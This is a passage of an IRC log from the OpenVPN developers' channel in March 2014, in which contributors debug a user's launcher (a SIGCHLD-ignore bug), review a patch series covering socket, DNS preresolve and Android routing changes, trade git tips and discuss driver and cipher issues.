20:27 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 20:27 -!- mode/#openvpn-devel [+o syzzer] by ChanServ --- Day changed Fri Mar 21 2014 00:41 -!- mattock_afk is now known as mattock 03:48 -!- mattock is now known as mattock_afk 04:36 -!- LordDrako [~felix@dslb-188-102-182-084.pools.arcor-ip.net] has joined #openvpn-devel 04:37 <+krzee> [16:36] <krzee> i dont do this often, so i didnt want a flood of people joining asking for support, but i think your questions would be better asked in the dev channel #openvpn-devel 04:37 <+krzee> [16:36] <krzee> it is smaller with less activity, but those are the guys that would have a better chance at helping you 04:37 <+krzee> [16:36] <LordDrako> okay 04:37 <+krzee> [16:36] <krzee> ask and idle, it may take awhile 04:37 <+krzee> (that was privmsg) 04:39 < LordDrako> hi guys, some introduction to my problem: I wrote a "openvpn launcher"... basically it gathers a config from some userdefined server, does some magic, then fires up the openvpn client and then uses the openvpn management console to show some status info to the user 04:39 < LordDrako> but there is a problem in the linux version 04:40 < LordDrako> starting OpenVPN works fine, OpenVPN can connect to the server and authenticate... after that it tries using "ifconfig" or "ip" (depending on the distribution as it seems) to configure the tunnel interface (tun0 in my case) 04:41 < LordDrako> at this point I always get "external program fork failed" 04:41 < LordDrako> no matter if its ifconfig or ip 04:41 < LordDrako> when I run openvpn from the command line with the exact same command I use inside my launcher, everything works :/ 04:47 <@plai> You should try to find out why executing the commands are failing 04:47 <@plai> perhaps doing a strace and loooking what happens 04:48 < LordDrako> another fun fact is, that on my debian base mint system it magically works... but neither on gentoo, debian, arch, fedora, whatever other system 05:23 < Hes> Guessing, but: If it tries to run them without an absolute path (just 'ip' instead of '/sbin/ip'), some environments might have a sanitized path which doesn't include the commands 05:24 < Hes> Although then, the error message "fork failed" would be incorrect, since it'd be the exec() after the fork() which fails, but sometimes some programs give the same error message for both issues 05:31 <@plai> yeah. Hence looking at the program with strace 05:33 < Hes> Indeed, strace -f is your friend there. 06:07 <@cron2> Hes: we never use $PATH, so that# 06:07 <@cron2> is not the reason 06:07 <@cron2> sounds more like "someone is setting up security profiles that do not permit further child processes" or such 07:15 <@cron2> mmmh 07:15 <@cron2> so I have two commits in my git repo. How do I merge them to be just one? 07:24 <@d12fk> git rebase --interactive HEAD^^ 07:24 <@d12fk> and then squash them into one 07:24 <@cron2> do I do that in the same branch, or do I create a new branch for that? 07:25 <@d12fk> no you can edit the current branch if it's not published yet 07:25 * cron2 will do a backup and then try :) - thanks 07:26 <@d12fk> you can always go back in history with git reflog, pick the right ref and git reset --hard to that 07:26 <@d12fk> no need for a backup 07:26 * cron2 blinks in awed astonishment :) 07:27 <@d12fk> git is astonishing indeed 07:27 <@d12fk> and i only know to top 5% probably 07:28 <@plai> d12fk: first backup it 07:28 * cron2 is at 2% then, or so :) 07:28 <@plai> d12fk: very important step 07:28 <@plai> I usually check out the first commit, do a git cherry-pick -n 2ndcommit, and do a git commit --amend 07:29 <@syzzer> I guess you've arrives at the 5%-of-git mark when you dare to say "no need for a backup" 07:31 <@syzzer> plai: that's a pretty cumbersome way of doing it :p 07:31 <@d12fk> really, you can't mess up a repository. it's only possible that you change it in such a complex way that you dont understand what you've done anymore 07:31 <@syzzer> mastering git rebase would probably save you some time ;) 07:32 <@cron2> d12fk: bow before plaisthos. *He* can mess up any repository. 07:32 <@syzzer> d12fk: exactly, which you have to master git to some extent to start doing the complex stuff ;) 07:32 <@cron2> just for the record: git rebase --interactive HEAD^^^ did exactly what I wanted (it was 3 commits in the end, now it's one) 07:33 <@cron2> thanks 07:33 <@d12fk> yw =) 07:33 <@d12fk> +1% 07:37 <@plai> syzzer: works well for me 07:50 <@syzzer> also nice, if you're working on a branch of origin/master, is git rebase -i origin/master. That usually is what you're looking for. 07:59 <@plai> d12fk: :D 07:59 <@plai> if you want to confuse yourself completely mix hg and git 07:59 <@plai> checking out git repos with hg and pushing to git with hg 07:59 * cron2 is confused enough as it is, so, no thanks :) 08:01 <@plai> hmpf 08:01 <@plai> my bugfixes don't apply without the preresolv patch 08:02 <@cron2> plai: sorry. Will speed up again on this (I did most of the review already, but forgot about it). Keep poking me 08:02 <@syzzer> plai: I did it the other way around, I checkout out your hg stuff with git, because I didn't want to learn hg :p 08:02 <@plai> syzzer: :) 08:10 <@plai> cron2: I will send a patchset with my outstanding patches (that I think should be in -master) 08:11 <@cron2> plai: that will help see me all of them in one big TODO heap :-) (easier than "scattered among 1000 other mails") 08:20 <@plai> cron2: mails are out 08:21 <@cron2> yay, work for the weekend 08:21 <@plai> and arriving and completely unordered :D 08:21 -!- mattock_afk is now known as mattock 08:22 <@plai> 00, 2,4,8,11,6,3,9,1,12,5,7 is the order my thunderbird displays them 08:22 * cron2 only has 11, 06 so far 08:26 <@plai> 11 is easy to review :) 08:27 <@d12fk> they are actually sent one second apart to get the sorting right 08:28 <@d12fk> maybe thinderbird has a different perception of time =) 08:44 <@plai> @&*#$ 08:44 <@plai> A user asks me if can't make an Android 2.2 version of my app because he does not like the OpenVPN settings app 09:27 * cron2 has 00, 11, 03, 10, 07, 09, 08, 04, 05, 07, 02, 01, 12 now :) 09:31 < LordDrako> plai: sorry for the delay, this is the exact output of openvpn: http://pastebin.com/1y46M7B0 09:31 < LordDrako> tested on arch linux 09:38 < LordDrako> I also followed your guide and used strace, see the (I think) relevant output here: http://pastebin.com/2GtBgFuC 09:40 < LordDrako> it looks like a race condition to me... ip returns before waitpid is called, so waitpid says ECHILD (No child processes) which leads OpenVPN to think that the fork failed 09:53 <@plai> yeah 09:53 <@plai> that strace is strange 09:53 <@plai> but until waitpid is finished the child process should be in a zombie state 09:59 <@plai> the openvpn code seems to be okay 10:00 < LordDrako> ECHILD (for waitpid() or waitid()) The process specified by pid (waitpid()) or idtype and id (waitid()) does not exist or is not a child of the calling process. (This can happen for one's own child if the action for SIGCHLD 10:00 < LordDrako> is set to SIG_IGN. See also the Linux Notes section about threads.) 10:00 < LordDrako> but I think that is unrealistic as the signal handler isn't changed at all by ip 10:04 <@plai> yeah 10:04 <@plai> but I think that is the signal handler of openvpn 10:05 < LordDrako> plai, I think my problem might be solved 10:06 < LordDrako> signal(SIGCHLD, SIG_IGN); -> this is used in my launcher and might be derived 10:06 < LordDrako> on the other hand it does no explain why it magically works on my linux mint :/ 10:07 < LordDrako> I don't even remember why I have that SIGCHLD ignore thing in there... 10:10 < LordDrako> okay, my guess was correct, removing the SIGCHLD line solved the problem 11:14 -!- LordDrako [~felix@dslb-188-102-182-084.pools.arcor-ip.net] has quit [Quit: Verlassend] 12:06 -!- mattock is now known as mattock_afk 13:29 * cron2 *could* use a few more eyes to review and ACK stuff... 13:37 <@cron2> plai: could you say a few words about 02/12? Why is this needed? 16:46 -!- mattock_afk is now known as mattock 16:56 -!- mattock is now known as mattock_afk 17:06 -!- mattock_afk is now known as mattock 21:58 -!- Hes [WIS@tunkki.fi] has quit [Ping timeout: 255 seconds] --- Day changed Sat Mar 22 2014 01:13 -!- Hes [xyPto2j8@tunkki.fi] has joined #openvpn-devel 06:01 -!- mattock is now known as mattock_afk 06:12 -!- mattock_afk is now known as mattock 07:54 <@plai> cron2: I have look again 07:54 <@plai> that patch is FOSDEM last year time 07:58 <@plai> Something could fail with an msg (M_FATAL, which calls then openvpn_exit with calls the exit script hook, which fails if the env is not available 08:24 -!- Hes [xyPto2j8@tunkki.fi] has quit [Ping timeout: 240 seconds] 08:39 <@vpnHelper> RSS Update - tickets: #378: DNS push not working on iOS7 <https://community.openvpn.net/openvpn/ticket/378> 09:01 -!- Netsplit *.net <-> *.split quits: siruf, @raidz, riddle 09:01 -!- Netsplit over, joins: raidz 09:01 -!- mode/#openvpn-devel [+o raidz] by ChanServ 09:01 -!- Netsplit over, joins: siruf 09:02 -!- riddle [riddle@76.72.170.57] has joined #openvpn-devel 09:16 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Remote host closed the connection] 12:34 <@cron2> plai: that sounds... complicated :-) (I think I've seen the patch before but never understood the reason) 13:28 <@vpnHelper> RSS Update - gitrepo: Implement an easy parsable log output that allows access to flags of the log message <https://github.com/OpenVPN/openvpn/commit/8f7d5e671a49a316a5fd6392f480d51533fc2747> || Workaround broken Android 4.4 VpnService API for persist-tun mode <https://github.com/OpenVPN/openvpn/commit/c058cbffc182b6618182a3ff8b13c66d01ce937d> || Move the initialization of the environment to the top so c2.es is initialized <https:// 14:06 <@plai> cron2: yeah I will take a look at the other patches when time permits 15:51 -!- mattock is now known as mattock_afk 15:59 <@cron2> plai: thanks :-) - I wasn't aiming at *you*, though :) 18:29 -!- waldner [waldner@openvpn/user/waldner] has quit [Ping timeout: 265 seconds] 19:36 -!- waldner [waldner@openvpn/user/waldner] has joined #openvpn-devel 23:29 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 246 seconds] --- Day changed Sun Mar 23 2014 00:26 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 00:26 -!- mode/#openvpn-devel [+o pekster] by ChanServ 05:54 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 265 seconds] 06:30 -!- Netsplit *.net <-> *.split quits: siruf, @mattock_afk, waldner, +krzee 06:30 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 06:30 -!- mode/#openvpn-devel [+o mattock] by ChanServ 06:30 -!- Netsplit over, joins: siruf 06:33 <@cron2> plai: are you around? 06:56 <@plai> cron2: yes 07:01 <@cron2> ah 07:01 <@cron2> regarding 05/12 07:02 <@cron2> overall I'm good, there is just *one* line that feels wrong to me - technically it's fine, it's just my brain reading C code. Let me explain :-) 07:03 <@cron2> it's the if (status == 0) line in do_preresolve_host() 07:03 <@plai> okay. 07:03 <@cron2> I find the order of things a bit confusing - turning around the if/else bit to make it 07:03 <@plai> lemme look 07:03 <@plai> btw. you can commit http://thread.gmane.org/gmane.network.openvpn.devel/8239 07:04 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 07:04 <@plai> it is already acked 07:04 <@cron2> if ( status != 0 ) 07:04 <@cron2> { 07:04 <@cron2> /* already in cached dns list, return success */ 07:04 <@cron2> return 0; 07:04 <@cron2> } 07:05 <@cron2> would bring the comment nearer to the if(), so it's "immediately clear" what this if() does 07:05 * cron2 goes and does 8239 in the meantime 07:06 <@plai> yeah, I can move that comment 07:06 -!- waldner [waldner@openvpn/user/waldner] has joined #openvpn-devel 07:07 <@cron2> it's more like a suggestion, to see if you share the "it makes it more readable" thought 07:13 <@plai> Yeah I changed the comment to be a bit better 07:16 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 07:16 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 07:28 <@vpnHelper> RSS Update - gitrepo: Adjusted autotools files to build more cleanly on newer autoconf/automake versions <https://github.com/OpenVPN/openvpn/commit/fb69bfd05eef20547848f901bb66d394f64308a2> 08:39 <@syzzer> wow, lots of movement on the mailing list. Nice :) 08:47 <@plai> yeah and now my android openvpn contains more non android specific commits than Android specific 11:13 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 11:13 -!- mode/#openvpn-devel [+v krzee] by ChanServ 11:44 <@cron2> plai: *lol* 11:45 * cron2 is working on it, but family tends to get in the way 11:46 <@cron2> woot, more ACKs on the list 11:46 <@cron2> this is going to be a busy evening :) 11:49 <@plai> cron2: but I (ab)use my android branch to keep track of all my changes to OpenVPN which are not yet in -master 11:50 <@cron2> plai: which gives us really good testing coverage :-) 12:05 <@cron2> uh... 12:06 * cron2 is working through the gc_addspecial() call in route.c... scary magic... (I see what you do, and I understand why it is needed, but it's tough stuff nonetheless) 12:16 <@cron2> plai: I still don't like do_preresolve_host().... what do you think about http://pastebin.com/9UvXguBR ? This is functionally identically, but I find it more logical to follow through - "if (is_cached) { return ok; } then: work on new cache entry" 12:16 <@cron2> this is purely style, not functionality 12:21 <@plai> cron2: yeah, that looks better indeed 13:15 <@cron2> plai: thanks ;-) - I'll amend it that way, and note it in the commit mail 13:36 <@plai> cron2: great 14:05 <@cron2> for 06/12, I have no idea what it does or fixes, tbh, but I consider that one "part of the grand unified socket.c reorganization", and assume that it fixes some bug I have not seen yet and does not introduce too many new ones :) 14:18 <@plai> fixes somes crashes when OpenVPN is a server and cannot figure out if to use inet4/inet6 14:19 <@plai> and if gets to that point without having figured out that it just takes the first proto of bind 14:26 <@cron2> ok, what about 08/12? It's harmless enough, and isolated #ifdef ANDROID anyway, but I'm curious what is behind it 14:52 <@plai> On android I am avoiding routing loops with calling protect() on the vpn socket 14:52 <@plai> before my 0.6.9 version I simply ignored routes which are not going to the VPN 14:53 <@plai> after 0.6.9 I am caluting a route set that excludes these routes 14:53 <@plai> so for a redirect-gateway def1 I end up with 31 routes 15:04 <@plai> for my imported configuration I am already replacing redirect-gateway with route 0.0.0.0 0.0.0.0 15:04 <@plai> but redirect-gateway can be pushed by the server 15:20 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 245 seconds] 15:28 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 15:28 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 15:28 -!- dazo_afk is now known as dazo 15:46 <@cron2> I'm still not sure I understand why the difference in openvpn itself is relevant? From what you describe, you already knew if it's a "vpn route" or not? 15:47 <@plai> the gui does not know the IP of the vpn server 15:47 <@plai> so if it sees a route vpnserverip eth0 it has to assume that IP should not be routed over the VPN 15:48 <@plai> I just like to avoid to install the host route from redirect-gateway 15:49 <@cron2> understood. I just wonder if that patch is actually much older than 0.6.9/after-0.9.6 (because to ignore the route, you'd need "eth0" even then) 15:50 <@plai> nah before my gui ignored where to route actually went 15:50 <@plai> and always treated them to go over the tunnel 15:50 <@plai> SOrry I was talking about 9/12 :( 15:51 <@cron2> heh :-) 15:51 <@plai> 8/12 is that gui actually sees the gateway and can decide if that route goes over tun or another device 15:51 <@cron2> but I think there was enough in there to understand what 08/12 is needed for :) 15:51 <@cron2> yep 15:53 <@cron2> speaking of 09/12... it's intruding into areas that are not "#ifdef ANDROID" yet... could it be that the title is misleading? 15:54 <@cron2> it says "don't redirect the gateway", but I think what it does is "do not install a route to the vpn server if redirecting the gateway". No? 15:54 <@cron2> oh 15:55 * cron2 misread the "second chunk", which is actually "comment out a much larger part of redirect_default_route_to_vpn()" 15:55 <@cron2> (it's "chunk 2+chunk 3", not "second chunk") 15:55 <@plai> cron2: yeah. Do not installl the host route to the VPN server 15:55 <@plai> and it #if*n*def ANDROID 15:56 <@cron2> yeah, understood, which is why I'm double-checking 15:57 <@cron2> the previous android-specific changes are all inside #ifdef ANDROID, so review was "light" ("looks sane, doesn't impact anything else"), but this is code that has been generic before 15:58 <@cron2> anyway. Too tired now 15:58 * cron2 calls it a day and pushes up to 08/12 16:00 <@plai> cron2: maybe I can also do the android magic in options.c 16:00 <@plai> simply never adding the redirect-gw flags there 16:00 <@plai> have to check 16:02 <@cron2> ok, I'll skip 09 for the time. 10 is going to be a lot of "staring at the code and scratching my head" anyway :) - 11 is then trivial, 12 will look different (I've worked with James' 2.3-master-ish tree recently, and he has a different fix, and if that one fixes things I have one conflict less :) ) 16:02 <@vpnHelper> RSS Update - gitrepo: Add gateway and device to android control messages <https://github.com/OpenVPN/openvpn/commit/05660e788a10ea28f886360ce7a0c100577f5813> || Don't show the connection profile store in options->ce if there is a connection_list defined. <https://github.com/OpenVPN/openvpn/commit/98e24cc7e8ce3dafada43e46aef32a3d6a7a4f27> || Fix for server selecting address family <https://github.com/OpenVPN/openvpn/commit/45184804c4 16:05 <@cron2> oh well... let's do a few easy ones :) 16:06 <@cron2> plai: if you have free brain cycles, please update the "open patches" wiki with your 01...08, I think they are spread all over the table due to some having been posted before :-) 16:07 <@plai> cron2: Yeah. I will update the wiki tommorrow 16:07 <@vpnHelper> RSS Update - gitrepo: Bump minimum OpenSSL version to 0.9.8 <https://github.com/OpenVPN/openvpn/commit/69a6b0c388fe1f463ab59cc8e414a4c5c635ab79> 16:30 <@cron2> phewh 16:30 <@vpnHelper> RSS Update - gitrepo: configure.ac: check for SSL_OP_NO_TICKET flag in OpenSSL <https://github.com/OpenVPN/openvpn/commit/e9b088b20847905ed2c2b85a12be58f457c10d06> || Disable unsupported TLS cipher modes by default, cleans --show-tls output. <https://github.com/OpenVPN/openvpn/commit/f8c4e88280b060ee8aa77ac5d00133848689694b> || Add openssl-specific common cipher list names to ssl.c. <https://github.com/OpenVPN/openvpn/commit/0146fd0 --- Day changed Mon Mar 24 2014 04:45 -!- LordDrako [~felix@dslb-188-102-182-084.pools.arcor-ip.net] has joined #openvpn-devel 04:50 < LordDrako> hello guys, I am not sure but I think I might have found a bug in OpenVPN client for windows 04:51 < LordDrako> currently as soon as there is a vpn successfully established the client exits with a failed assertion when I connect to the management console 04:51 < LordDrako> this is the (I think so) relevant part of the log: http://pastebin.com/1jKnwQ6T 04:53 <@d12fk> LordDrako: that's in openvpn itself, i'll have a look 04:54 < LordDrako> d12fk: thanks, also this is the function where the assertion fails: http://pastebin.com/caPRQ5Mk 04:54 < LordDrako> my used version is 2.3.2 04:55 <@d12fk> yeah the socket is gone: "Mon Mar 24 10:47:53 2014 us=32750 MANAGEMENT: Client disconnected" 04:55 < LordDrako> seems to me like some kind of race condition O.o 04:55 < LordDrako> if that's possible 04:56 <@d12fk> looks like it at a first glance, no time to dig in further atm 04:56 <@d12fk> any takers? 07:45 <@plai> that is win32.c 07:45 <@plai> :P 07:57 < LordDrako> plai: so what? :p 10:14 <@dazo> That means we're trying to make d12fk look at it :-p 10:15 <@dazo> (he's doing most of the Windows stuff these days) 10:17 <@vpnHelper> RSS Update - tickets: #379: Driver issues between TAP-Win32 Adapter V9 and Marvell AVASTAR 350N Wireless Network Controller <https://community.openvpn.net/openvpn/ticket/379> 10:23 * d12fk ducks and dodges this blunt attempt =) 10:23 <@vpnHelper> RSS Update - tickets: #380: Driver issues between TAP-Win32 Adapter V9 and Marvell AVASTAR 350N Wireless Network Controller <https://community.openvpn.net/openvpn/ticket/380> 10:49 <@cron2> d12fk: I take it you're busy preparing the interactive service patches? ;-) 10:51 * d12fk coughes vigorously 10:51 < LordDrako> O_O 11:11 <@ecrist> cron - client-connect scripts can assign IP, and those can be pulled, deriveed from LDAP or other rules the script is better suited to figure out 11:12 <@plai> mattock: add https://play.google.com/store/apps/details?id=com.spotflux.android to the list of VPN software shipping OpenVPN binaries :) 11:16 <@plai> that although the ui might be old enogh to be derived bsd licensed version of mine 11:17 <@plai> but still violates the bsd license by omitting any copyright license 11:18 <@cron2> ecrist: sure, but what you can't do is "assign users to a pool" 11:19 <@cron2> so you need to do the pool handling outside of OpenVPN 11:20 <@cron2> (and this can be thoroughly annoying - I have exactly this issue, I want "real" clients to use IP addresses from one pool, and "mobile clients" (Android/iOS) to use addresses from a different pool, but not create an external address management system) 11:21 <@ecrist> cron2: that's what I was implying. The script and outside sources need to determine that 11:21 <@ecrist> cron2: you can do that. use a bigger pool. :) 11:22 <@cron2> ecrist: they need to be clearly distinct, because one range can access $stuff, and the other can only access the internal mail system 11:22 <@cron2> so a bigger pool won't solve anything, unless you can tell openvpn "use the upper half / use the lower half" 11:22 <@ecrist> firewall? 11:22 <@ecrist> that's what I'd do. 11:23 <@cron2> yeah, if I have nothing else to do, I assign everybody a static address and then put individual rules into the firewall :-) "no thanks" 11:23 <@cron2> the firewall (which is not the openvpn server) has rules "this subnet can access $stuff" and "that subnet can access the mail system only" 11:23 <@ecrist> upper/lower address space + firewall 11:23 <@cron2> yeah, but you can't do "upper/lower" inside openvpn 11:23 <@ecrist> sure you can 11:23 <@cron2> unless you go static again 11:23 <@cron2> how so? 11:24 <@ecrist> client connect script assigning the IP 11:24 <@cron2> "assigning the IP" is not "pool" 11:24 <@cron2> I do *not* want to do this outside OpenVPN - I have to, right now, but this is not exactly to my liking 11:25 <@cron2> what I'd really love to have is a per-client connect telling openvpn "assign from pool A" or "assign from pool B" 11:25 <@cron2> that way I don't have to bother to reclaim no longer used addresses, or implement my own pool management inside client-connect 11:38 -!- LordDrako [~felix@dslb-188-102-182-084.pools.arcor-ip.net] has quit [Quit: Verlassend] 11:55 <@dazo> cron2: guess why I wrote eurephia :-P 11:56 <@dazo> cron2: the only difference is that I do the access control via iptables, and not by providing different IP addresses for the different clients 13:18 <@plai> mattock: and Hide my Ass pro also violates GPL copyright ... :/ 13:18 <@cron2> maybe they should rename it to "cover my ass"? 13:19 <@mattock> plai: I'll make that one of my future targets 13:49 -!- ibins [~ibins@dslb-084-056-092-240.pools.arcor-ip.net] has left #openvpn-devel [] 16:09 -!- mattock is now known as mattock_afk 16:39 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Remote host closed the connection] 16:40 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 16:40 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 18:00 -!- dazo is now known as dazo_afk --- Day changed Tue Mar 25 2014 01:58 -!- mattock_afk is now known as mattock 04:36 <@cron2> d12fk: while you're at ducking and hiding - what about IV_GUI_VER support in the windows gui? 04:51 * d12fk digs a hole, deep enough to develop skin cancer from the australian ozon hole 04:52 <@d12fk> srsyl, currently i'm ultra busy 04:52 <@d12fk> hope to get to some ovpn work in april 04:52 <@d12fk> especially the interactive service stuff i'm sad about 05:41 <@plai> git drives me nuts for not accepting git ci 05:52 -!- dazo_afk is now known as dazo 06:18 <@plai> I just reported the IV_GUI_VER to tunnelblick and seems to want to implement it 06:18 <@plai> http://code.google.com/p/tunnelblick/issues/detail?id=246 06:18 <@vpnHelper> Title: Issue 246 - tunnelblick - Add a --setenv IV_GUI_VER when calling OpenVPN - OpenVPN GUI for Mac OS X - Google Project Hosting (at code.google.com) 06:19 <@plai> cron2: can you take a short look? 07:18 -!- LordDrako [~felix@dslb-188-102-182-084.pools.arcor-ip.net] has joined #openvpn-devel 07:18 < LordDrako> d12fk: any news regarging the assertion in win32.c ? :-) 07:19 < LordDrako> *regarding 07:19 <@d12fk> nope and i won't be able to get to it this week, sorry 07:21 < LordDrako> no problem, just wanted to check when a fix might be available 07:21 < LordDrako> so I'll hang out here again next week ;-) 07:23 -!- LordDrako [~felix@dslb-188-102-182-084.pools.arcor-ip.net] has quit [Quit: Verlassend] 07:33 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 252 seconds] 07:34 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 07:34 -!- mode/#openvpn-devel [+o mattock] by ChanServ 07:34 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Read error: Operation timed out] 07:35 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 07:35 -!- mode/#openvpn-devel [+o raidz] by ChanServ 08:16 <@cron2> plai: looks good to me. And right he is, 2.3.3 needs to go out! 09:14 <@mattock> the tap-windows NDIS 6 driver package is now available here: http://build.openvpn.net/downloads/temp/ 09:15 <@vpnHelper> Title: Index of /downloads/temp/ (at build.openvpn.net) 09:15 <@mattock> I have not yet tested how well it works with OpenVPN 2.3 or master 09:16 <@mattock> but it does install without a hitch using these instructions: 09:16 <@mattock> https://github.com/OpenVPN/tap-windows6 09:16 <@vpnHelper> Title: OpenVPN/tap-windows6 · GitHub (at github.com) 09:25 <@mattock> apparently it does not work yet 09:57 <@mattock> ERROR: The TAP-Windows driver rejected a DeviceIoControl call to set Point-to-Point mode, which is required for --dev tun 10:16 <@mattock> here a page about the TLS Triple Handshake Vulnerability: https://community.openvpn.net/openvpn/wiki/TLSTripleHandshakeVulnerabilityAndOpenVPN 10:16 <@vpnHelper> Title: TLSTripleHandshakeVulnerabilityAndOpenVPN – OpenVPN Community (at community.openvpn.net) 10:29 <@cron2> mattock: "it installs but does not work" is not *fully* what we need :) 10:31 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 10:31 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 10:31 -!- mode/#openvpn-devel [+o mattock] by ChanServ 10:32 <@mattock> um, did my message about tap-windows6 get here? 10:32 <@mattock> it seems I was logged in from several places at the same time, and the results were unexpected :P 10:33 <@cron2> it got here, and my comment to it was, 3 minutes ago 10:33 <@cron2> mattock: "it installs but does not work" is not *fully* what we need :) 10:33 <@mattock> agreed :D 10:33 <@mattock> I believe the problem is that the new tap-windows driver is "application controlled", whatever that means 10:34 <@mattock> I guess the interface management is delegated to openvpn 10:34 <@mattock> not sure if that is the case with original tap-windows 10:41 <@cron2> well, that error message actually *is* interface-management from openvpn ("hey, driver, we want tun mode")... 10:41 <@cron2> so if the interface has changed, it would be good to know what needs to be changed to address these changes 10:59 <@mattock> yep 10:59 <@mattock> I just started talks with Viscosity (=Sparklabs) about their modified OpenVPN version 10:59 <@mattock> let's see what happens 11:21 <@mattock> James is looking at the problem with Mr. Divine 11:21 <@cron2> cool 11:22 <@mattock> the bug may be related to topology net30 11:22 <@mattock> because with some openvpn 2.x configurations the NDIS 6 driver apparently works just fine 11:23 <@cron2> well, the error message you qoted comes from "dev tun". If you use tap, it won't need to set the driver to tun mode... 11:23 <@cron2> topology net30 is on a different level, that would fail at IP config, not at tun/tap ioctl()ing 11:24 <@cron2> s/level/OSI layer/ 13:37 <@plai> cron2: for 2.3.3 we should go throught pending Patches which are 2.3.3 candidates 15:25 <@cron2> plai: that, and through the trac tickets tagged "2.3.3" - about 10 or so... 15:34 * cron2 won't be able to do anything meaningful before Saturday, though ("merge an ACKed patch", yes, but no review or coding) 15:47 -!- mattock is now known as mattock_afk 16:03 -!- dazo is now known as dazo_afk 16:30 <@syzzer> cron2: should I be able to close tickets in the Crypto section? I'd like to close #304. Patch has been merged, it's not going to get better without fixing OpenSSL, and I'm not planning to do that ;) 16:34 <@syzzer> hmm, I should probably poke mattock_afk for trac stuff 16:35 <@cron2> syzzer: if you have no access rights, poke mattock, yes 16:35 <@cron2> if the ticket is done, it should be closed :) 16:36 <@syzzer> well, it's more like a mix of "done" and "wontfix" :p 16:36 <@cron2> in any case, if we're not going to do anything more about it, away with it! 17:33 <@syzzer> hmm, OFB and CFB cipher modes for the data channel seem to be accidentally kicked out of OpenVPN since 2.3 17:35 <@syzzer> crypto.h does #define ALLOW_NON_CBC_CIPHERS, crypto_openssl.c does #ifdef ALLOW_NON_CBC_CIPHERS [..stuff..] #endif, but never includes crypto.h ... 17:41 <@plai> conclusion: Nobody uses CFB and OFB ciphers 17:47 <@syzzer> exactly 17:49 <@plai> like the ecdsa keychain support of Android 4.4 17:50 <@plai> I don't even know if it works on my non Nexus 4.4 device 17:50 <@syzzer> oh, no, not necessarily true, they still work, they are just not printed by --show-ciphers 17:50 * syzzer proposed to just kick out the #define and #ifdefs 17:50 <@plai> yeah 17:50 <@plai> sounds good 17:51 <@syzzer> heh, even ssh-agent has no proper support for ecdsa keys :( 17:51 <@plai> and openssh on os x breaks ecdsh too iirc 17:52 <@plai> OpenSSH_6.2p2, OSSLShim 0.9.8r 8 Dec 2011 17:52 <@plai> (proably that OpenSSL -> AppleCrypto wrapper) 17:52 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 17:53 -!- mode/#openvpn-devel [+o pekster] by ChanServ 17:53 <@vpnHelper> RSS Update - tickets: #381: slight bug in howto (--type) <https://community.openvpn.net/openvpn/ticket/381> 17:58 <@syzzer> gah, more weird stuff surrounding the OFB / CFB modes. Well, no quick patch then, maybe Thursday. 17:58 <@syzzer> time to catch some sleep :) --- Day changed Wed Mar 26 2014 05:27 -!- mattock_afk is now known as mattock 06:26 -!- dazo_afk is now known as dazo 06:49 -!- mattock is now known as mattock_afk 07:18 -!- mattock_afk is now known as mattock 07:30 <@cron2> plai: are you around? 07:30 * cron2 thinks he has spotted a typo in 10/12 - in create_socket(), if(sock->socks_proxy), you set addr->ai_protocol = IPPROTO_TCP. Shouldn't that be addrinfo_tmp.ai_protocol? 07:32 <@cron2> plus, I don't understand the change to set_actual_address() 08:01 <@cron2> indeed... 08:01 <@cron2> Wed Mar 26 14:00:31 2014 Assertion failed at ../../../openvpn/src/openvpn/socket.c:777 08:06 <@plai> cron2: yes you are right 08:07 <@plai> sigh, Now I need a socks proxy which can do udp 08:07 <@cron2> danted :) 08:07 <@plai> which eliminates my usual socks proxy 08:07 <@plai> which is ssh -D 08:07 <@cron2> I think I have it fixed, except that my danted is refusing udp due to "not permitted in the config" 08:08 <@cron2> yeah, ssh -D is what I use for TCP-socks-tests when I need v6 - danted only does v4 08:08 <@cron2> the diff is simple 08:08 <@cron2> - addr->ai_protocol = IPPROTO_TCP; 08:08 <@cron2> + addrinfo_tmp.ai_socktype = SOCK_STREAM; 08:08 <@cron2> + addrinfo_tmp.ai_protocol = IPPROTO_TCP; 08:08 <@cron2> (socktype is needed as well) 08:08 <@plai> yes 08:10 <@cron2> stupid piece of sh*t... completely unintelligble config syntax... 08:10 <@plai> :D 08:10 <@cron2> worse than ours 08:13 <@cron2> yay 08:13 <@cron2> --proto udp4 --remote conn-test-server.openvpn.org ---port 51194 --socks-proxy ubuntu1204.ov.greenie.net 1080 08:13 <@cron2> works now :) 08:13 <@plai> and should now also work with IPv6 :) 08:14 <@plai> (provided you manage to find a IPv6 socks proxy 08:14 <@vpnHelper> RSS Update - tickets: #382: Build failure for 2.3.3 if PCKS#11 and OpenSSL are enabled <https://community.openvpn.net/openvpn/ticket/382> 08:14 <@cron2> I have a test case for IPv6 and TCP, but no UDP-and-IPv6-capable socks proxy... "and I don't think I'm going to care!" 08:14 <@cron2> plai: should I just change the commit and mention it in the ACK mail? 08:15 <@plai> cron2: yes, that sounds good 08:15 <@plai> cron2: there are public DNS64 servers with working NAT64 08:15 <@plai> :) 08:16 <@plai> you could use that with your 